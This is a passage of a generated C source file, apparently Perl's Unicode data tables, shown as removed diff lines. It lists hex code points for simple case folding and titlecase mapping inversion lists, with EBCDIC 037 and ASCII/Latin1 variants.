0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBA, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD8, - 0x1FDA, - 0x1FDC, - 0x1FE8, - 0x1FEA, - 0x1FEC, - 0x1FED, - 0x1FF8, - 0x1FFA, - 0x1FFC, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212B, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, - 0xA7AF, - 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xAB70, - 0xABC0, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -static const int Simple_Case_Folding_invmap[] = { /* for EBCDIC 037 */ - 0, - 0x42, - 0, - 0x51, - 0, - 0x70, - 0, - 0x9C, - 0, - 0x3BC, - 0, - 0x8C, - 0, - 0x81, - 0, - 0x91, - 0, - 0xA2, - 0, - 0xCB, - 0, - 0xDB, - 0, - 0x101, - 0, - 0x103, - 0, - 0x105, - 0, - 0x107, - 0, - 0x109, - 0, - 0x10B, - 0, - 0x10D, - 0, - 0x10F, - 0, - 0x111, - 0, - 0x113, - 0, - 0x115, - 0, - 0x117, - 0, - 0x119, - 0, - 0x11B, - 0, - 0x11D, - 0, - 0x11F, - 0, - 0x121, - 0, - 0x123, - 0, - 0x125, - 0, - 0x127, - 0, - 0x129, - 0, - 0x12B, - 0, - 0x12D, - 0, - 0x12F, - 0, - 0x133, - 0, - 0x135, - 0, - 0x137, - 0, - 0x13A, - 0, - 0x13C, - 0, - 0x13E, - 0, - 0x140, - 0, - 0x142, - 0, - 0x144, - 0, - 0x146, - 0, - 0x148, - 0, - 0x14B, - 0, - 0x14D, - 0, - 0x14F, - 0, - 0x151, - 0, - 0x153, - 0, - 0x155, - 0, - 0x157, - 0, - 0x159, - 0, - 0x15B, - 0, - 0x15D, - 0, - 0x15F, - 0, - 0x161, - 0, - 0x163, - 0, - 0x165, - 0, - 0x167, - 0, - 0x169, - 0, - 0x16B, - 0, - 0x16D, - 0, - 0x16F, - 0, - 0x171, - 0, - 0x173, - 0, - 0x175, - 0, - 0x177, - 0, - 0xDF, - 0x17A, - 0, - 0x17C, - 0, - 0x17E, - 0, - 0xA2, - 0, - 0x253, - 0x183, - 0, - 0x185, - 0, - 0x254, - 0x188, - 0, - 0x256, - 0x18C, - 0, - 0x1DD, - 0x259, - 0x25B, - 0x192, - 0, - 0x260, - 0x263, - 0, - 0x269, - 0x268, - 0x199, - 0, - 0x26F, - 0x272, - 0, - 0x275, - 0x1A1, - 0, - 0x1A3, - 0, - 0x1A5, - 0, - 0x280, - 0x1A8, - 0, - 0x283, - 0, - 0x1AD, - 0, - 0x288, - 0x1B0, - 0, - 0x28A, - 0x1B4, - 0, - 0x1B6, - 0, - 0x292, - 0x1B9, - 0, - 0x1BD, - 0, - 0x1C6, - 0x1C6, - 0, - 0x1C9, - 0x1C9, - 0, - 0x1CC, - 0x1CC, - 0, - 0x1CE, - 0, - 0x1D0, - 0, - 0x1D2, - 0, - 0x1D4, - 0, - 0x1D6, - 0, - 0x1D8, - 0, - 0x1DA, - 0, - 0x1DC, - 0, - 0x1DF, - 0, - 0x1E1, - 0, - 0x1E3, - 0, - 0x1E5, - 0, - 0x1E7, - 0, - 0x1E9, - 0, - 0x1EB, - 0, - 0x1ED, - 0, - 0x1EF, - 0, - 0x1F3, - 0x1F3, - 0, - 0x1F5, - 0, - 0x195, - 0x1BF, - 0x1F9, - 0, - 0x1FB, - 0, - 0x1FD, - 0, - 0x1FF, - 0, - 0x201, - 0, - 0x203, - 0, - 0x205, - 0, - 0x207, - 0, - 0x209, - 0, - 0x20B, - 0, - 0x20D, - 0, - 0x20F, - 0, - 0x211, - 0, - 0x213, - 0, - 0x215, - 0, - 0x217, - 0, - 0x219, - 0, - 0x21B, - 0, - 0x21D, - 0, - 0x21F, - 0, - 0x19E, - 0, - 0x223, - 0, - 0x225, - 0, - 0x227, - 0, - 0x229, - 0, - 0x22B, - 0, - 0x22D, - 0, - 0x22F, - 0, - 0x231, - 0, - 0x233, - 0, - 0x2C65, - 0x23C, - 0, - 0x19A, - 0x2C66, - 0, - 0x242, - 0, - 0x180, - 0x289, - 0x28C, - 0x247, - 0, - 0x249, - 0, - 0x24B, - 0, - 0x24D, - 0, - 0x24F, - 0, - 0x3B9, - 0, - 0x371, - 0, - 0x373, - 0, - 0x377, - 0, - 0x3F3, - 0, - 0x3AC, - 0, - 0x3AD, - 0, - 0x3CC, - 0, - 0x3CD, - 0, - 0x3B1, - 0, - 0x3C3, - 0, - 0x3C3, - 0, - 0x3D7, - 0x3B2, - 0x3B8, - 0, - 0x3C6, - 0x3C0, - 0, - 0x3D9, - 0, - 0x3DB, - 0, - 0x3DD, - 0, - 0x3DF, - 0, - 0x3E1, - 0, - 0x3E3, - 0, - 0x3E5, - 0, - 0x3E7, - 0, - 0x3E9, - 0, - 0x3EB, - 0, - 0x3ED, - 0, - 0x3EF, - 0, - 0x3BA, - 0x3C1, - 0, - 0x3B8, - 0x3B5, - 0, - 0x3F8, - 0, - 0x3F2, - 0x3FB, - 0, - 0x37B, - 0x450, - 0x430, - 0, - 0x461, - 0, - 0x463, - 0, - 0x465, - 0, - 0x467, - 0, - 0x469, - 0, - 0x46B, - 0, - 0x46D, - 0, - 0x46F, - 0, - 0x471, - 0, - 0x473, - 0, - 0x475, - 0, - 0x477, - 0, - 0x479, - 0, - 0x47B, - 0, - 0x47D, - 0, - 0x47F, - 0, - 0x481, - 0, - 0x48B, - 0, - 0x48D, - 0, - 0x48F, - 0, - 0x491, - 0, - 0x493, - 0, - 0x495, - 0, - 0x497, - 0, - 0x499, - 0, - 0x49B, - 0, - 0x49D, - 0, - 0x49F, - 0, - 0x4A1, - 0, - 0x4A3, - 0, - 0x4A5, - 0, - 0x4A7, - 0, - 0x4A9, - 0, - 0x4AB, - 0, - 0x4AD, - 0, - 0x4AF, - 0, - 0x4B1, - 0, - 0x4B3, - 0, - 0x4B5, - 0, - 0x4B7, - 0, - 0x4B9, - 0, - 0x4BB, - 0, - 0x4BD, - 0, - 0x4BF, - 0, - 0x4CF, - 0x4C2, - 0, - 0x4C4, - 0, - 0x4C6, - 0, - 0x4C8, - 0, - 0x4CA, - 0, - 0x4CC, - 0, - 0x4CE, - 0, - 0x4D1, - 0, - 0x4D3, - 0, - 0x4D5, - 0, - 0x4D7, - 0, - 0x4D9, - 0, - 0x4DB, - 0, - 0x4DD, - 0, - 0x4DF, - 0, - 0x4E1, - 0, - 0x4E3, - 0, - 0x4E5, - 0, - 0x4E7, - 0, - 0x4E9, - 0, - 0x4EB, - 0, - 0x4ED, - 0, - 0x4EF, - 0, - 0x4F1, - 0, - 0x4F3, - 0, - 0x4F5, - 0, - 0x4F7, - 0, - 0x4F9, - 0, - 0x4FB, - 0, - 0x4FD, - 0, - 0x4FF, - 0, - 0x501, - 0, - 0x503, - 0, - 0x505, - 0, - 0x507, - 0, - 0x509, - 0, - 0x50B, - 0, - 0x50D, - 0, - 0x50F, - 0, - 0x511, - 0, - 0x513, - 0, - 0x515, - 0, - 0x517, - 0, - 0x519, - 0, - 0x51B, - 0, - 0x51D, - 0, - 0x51F, - 0, - 0x521, - 0, - 0x523, - 0, - 0x525, - 0, - 0x527, - 0, - 0x529, - 0, - 0x52B, - 0, - 0x52D, - 0, - 0x52F, - 0, - 0x561, - 0, - 0x2D00, - 0, - 0x2D27, - 0, - 0x2D2D, - 0, - 0x13F0, - 0, - 0x432, - 0x434, - 0x43E, - 0x441, - 0x442, - 0x44A, - 0x463, - 0xA64B, - 0, - 0x1E01, - 0, - 0x1E03, - 0, - 0x1E05, - 0, - 0x1E07, - 0, - 0x1E09, - 0, - 0x1E0B, - 0, - 0x1E0D, - 0, - 0x1E0F, - 0, - 0x1E11, - 0, - 0x1E13, - 0, - 0x1E15, - 0, - 0x1E17, - 0, - 0x1E19, - 0, - 0x1E1B, - 0, - 0x1E1D, - 0, - 0x1E1F, - 0, - 0x1E21, - 0, - 0x1E23, - 0, - 0x1E25, - 0, - 0x1E27, - 0, - 0x1E29, - 0, - 0x1E2B, - 0, - 0x1E2D, - 0, - 0x1E2F, - 0, - 0x1E31, - 0, - 0x1E33, - 0, - 0x1E35, - 0, - 0x1E37, - 0, - 0x1E39, - 0, - 0x1E3B, - 0, - 0x1E3D, - 0, - 0x1E3F, - 0, - 0x1E41, - 0, - 0x1E43, - 0, - 0x1E45, - 0, - 0x1E47, - 0, - 0x1E49, - 0, - 0x1E4B, - 0, - 0x1E4D, - 0, - 0x1E4F, - 0, - 0x1E51, - 0, - 0x1E53, - 0, - 0x1E55, - 0, - 0x1E57, - 0, - 0x1E59, - 0, - 0x1E5B, - 0, - 0x1E5D, - 0, - 0x1E5F, - 0, - 0x1E61, - 0, - 0x1E63, - 0, - 0x1E65, - 0, - 0x1E67, - 0, - 0x1E69, - 0, - 0x1E6B, - 0, - 0x1E6D, - 0, - 0x1E6F, - 0, - 0x1E71, - 0, - 0x1E73, - 0, - 0x1E75, - 0, - 0x1E77, - 0, - 0x1E79, - 0, - 0x1E7B, - 0, - 0x1E7D, - 0, - 0x1E7F, - 0, - 0x1E81, - 0, - 0x1E83, - 0, - 0x1E85, - 0, - 0x1E87, - 0, - 0x1E89, - 0, - 0x1E8B, - 0, - 0x1E8D, - 0, - 0x1E8F, - 0, - 0x1E91, - 0, - 0x1E93, - 0, - 0x1E95, - 0, - 0x1E61, - 0, - 0x59, - 0, - 0x1EA1, - 0, - 0x1EA3, - 0, - 0x1EA5, - 0, - 0x1EA7, - 0, - 0x1EA9, - 0, - 0x1EAB, - 0, - 0x1EAD, - 0, - 0x1EAF, - 0, - 0x1EB1, - 0, - 0x1EB3, - 0, - 0x1EB5, - 0, - 0x1EB7, - 0, - 0x1EB9, - 0, - 0x1EBB, - 0, - 0x1EBD, - 0, - 0x1EBF, - 0, - 0x1EC1, - 0, - 0x1EC3, - 0, - 0x1EC5, - 0, - 0x1EC7, - 0, - 0x1EC9, - 0, - 0x1ECB, - 0, - 0x1ECD, - 0, - 0x1ECF, - 0, - 0x1ED1, - 0, - 0x1ED3, - 0, - 0x1ED5, - 0, - 0x1ED7, - 0, - 0x1ED9, - 0, - 0x1EDB, - 0, - 0x1EDD, - 0, - 0x1EDF, - 0, - 0x1EE1, - 0, - 0x1EE3, - 0, - 0x1EE5, - 0, - 0x1EE7, - 0, - 0x1EE9, - 0, - 0x1EEB, - 0, - 0x1EED, - 0, - 0x1EEF, - 0, - 0x1EF1, - 0, - 0x1EF3, - 0, - 0x1EF5, - 0, - 0x1EF7, - 0, - 0x1EF9, - 0, - 0x1EFB, - 0, - 0x1EFD, - 0, - 0x1EFF, - 0, - 0x1F00, - 0, - 0x1F10, - 0, - 0x1F20, - 0, - 0x1F30, - 0, - 0x1F40, - 0, - 0x1F51, - 0, - 0x1F53, - 0, - 0x1F55, - 0, - 0x1F57, - 0, - 0x1F60, - 0, - 0x1F80, - 0, - 0x1F90, - 0, - 0x1FA0, - 0, - 0x1FB0, - 0x1F70, - 0x1FB3, - 0, - 0x3B9, - 0, - 0x1F72, - 0x1FC3, - 0, - 0x1FD0, - 0x1F76, - 0, - 0x1FE0, - 0x1F7A, - 0x1FE5, - 0, - 0x1F78, - 0x1F7C, - 0x1FF3, - 0, - 0x3C9, - 0, - 0x92, - 0x47, - 0, - 0x214E, - 0, - 0x2170, - 0, - 0x2184, - 0, - 0x24D0, - 0, - 0x2C30, - 0, - 0x2C61, - 0, - 0x26B, - 0x1D7D, - 0x27D, - 0, - 0x2C68, - 0, - 0x2C6A, - 0, - 0x2C6C, - 0, - 0x251, - 0x271, - 0x250, - 0x252, - 0, - 0x2C73, - 0, - 0x2C76, - 0, - 0x23F, - 0x2C81, - 0, - 0x2C83, - 0, - 0x2C85, - 0, - 0x2C87, - 0, - 0x2C89, - 0, - 0x2C8B, - 0, - 0x2C8D, - 0, - 0x2C8F, - 0, - 0x2C91, - 0, - 0x2C93, - 0, - 0x2C95, - 0, - 0x2C97, - 0, - 0x2C99, - 0, - 0x2C9B, - 0, - 0x2C9D, - 0, - 0x2C9F, - 0, - 0x2CA1, - 0, - 0x2CA3, - 0, - 0x2CA5, - 0, - 0x2CA7, - 0, - 0x2CA9, - 0, - 0x2CAB, - 0, - 0x2CAD, - 0, - 0x2CAF, - 0, - 0x2CB1, - 0, - 0x2CB3, - 0, - 0x2CB5, - 0, - 0x2CB7, - 0, - 0x2CB9, - 0, - 0x2CBB, - 0, - 0x2CBD, - 0, - 0x2CBF, - 0, - 0x2CC1, - 0, - 0x2CC3, - 0, - 0x2CC5, - 0, - 0x2CC7, - 0, - 0x2CC9, - 0, - 0x2CCB, - 0, - 0x2CCD, - 0, - 0x2CCF, - 0, - 0x2CD1, - 0, - 0x2CD3, - 0, - 0x2CD5, - 0, - 0x2CD7, - 0, - 0x2CD9, - 0, - 0x2CDB, - 0, - 0x2CDD, - 0, - 0x2CDF, - 0, - 0x2CE1, - 0, - 0x2CE3, - 0, - 0x2CEC, - 0, - 0x2CEE, - 0, - 0x2CF3, - 0, - 0xA641, - 0, - 0xA643, - 0, - 0xA645, - 0, - 0xA647, - 0, - 0xA649, - 0, - 0xA64B, - 0, - 0xA64D, - 0, - 0xA64F, - 0, - 0xA651, - 0, - 0xA653, - 0, - 0xA655, - 0, - 0xA657, - 0, - 0xA659, - 0, - 0xA65B, - 0, - 0xA65D, - 0, - 0xA65F, - 0, - 0xA661, - 0, - 0xA663, - 0, - 0xA665, - 0, - 0xA667, - 0, - 0xA669, - 0, - 0xA66B, - 0, - 0xA66D, - 0, - 0xA681, - 0, - 0xA683, - 0, - 0xA685, - 0, - 0xA687, - 0, - 0xA689, - 0, - 0xA68B, - 0, - 0xA68D, - 0, - 0xA68F, - 0, - 0xA691, - 0, - 0xA693, - 0, - 0xA695, - 0, - 0xA697, - 0, - 0xA699, - 0, - 0xA69B, - 0, - 0xA723, - 0, - 0xA725, - 0, - 0xA727, - 0, - 0xA729, - 0, - 0xA72B, - 0, - 0xA72D, - 0, - 0xA72F, - 0, - 0xA733, - 0, - 0xA735, - 0, - 0xA737, - 0, - 0xA739, - 0, - 0xA73B, - 0, - 0xA73D, - 0, - 0xA73F, - 0, - 0xA741, - 0, - 0xA743, - 0, - 0xA745, - 0, - 0xA747, - 0, - 0xA749, - 0, - 0xA74B, - 0, - 0xA74D, - 0, - 0xA74F, - 0, - 0xA751, - 0, - 0xA753, - 0, - 0xA755, - 0, - 0xA757, - 0, - 0xA759, - 0, - 0xA75B, - 0, - 0xA75D, - 0, - 0xA75F, - 0, - 0xA761, - 0, - 0xA763, - 0, - 0xA765, - 0, - 0xA767, - 0, - 0xA769, - 0, - 0xA76B, - 0, - 0xA76D, - 0, - 0xA76F, - 0, - 0xA77A, - 0, - 0xA77C, - 0, - 0x1D79, - 0xA77F, - 0, - 0xA781, - 0, - 0xA783, - 0, - 0xA785, - 0, - 0xA787, - 0, - 0xA78C, - 0, - 0x265, - 0, - 0xA791, - 0, - 0xA793, - 0, - 0xA797, - 0, - 0xA799, - 0, - 0xA79B, - 0, - 0xA79D, - 0, - 0xA79F, - 0, - 0xA7A1, - 0, - 0xA7A3, - 0, - 0xA7A5, - 0, - 0xA7A7, - 0, - 0xA7A9, - 0, - 0x266, - 0x25C, - 0x261, - 0x26C, - 0x26A, - 0, - 0x29E, - 0x287, - 0x29D, - 0xAB53, - 0xA7B5, - 0, - 0xA7B7, - 0, - 0x13A0, - 0, - 0xFF41, - 0, - 0x10428, - 0, - 0x104D8, - 0, - 0x10CC0, - 0, - 0x118C0, - 0, - 0x1E922, - 0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV Titlecase_Mapping_invlist[] = { /* for ASCII/Latin1 */ - 1318, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x7B, - 0xB5, - 0xB6, - 0xDF, - 0xE0, - 0xF7, - 0xF8, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19A, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x250, - 0x251, - 0x252, - 0x253, - 0x254, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25C, - 0x25D, - 0x260, - 0x261, - 0x262, - 0x263, - 0x264, - 0x265, - 0x266, - 0x267, - 0x268, - 0x269, - 0x26A, - 0x26B, - 0x26C, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x272, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x288, - 0x289, - 0x28A, - 0x28C, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29E, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3AD, - 0x3B0, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CC, - 0x3CD, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x450, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4CF, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 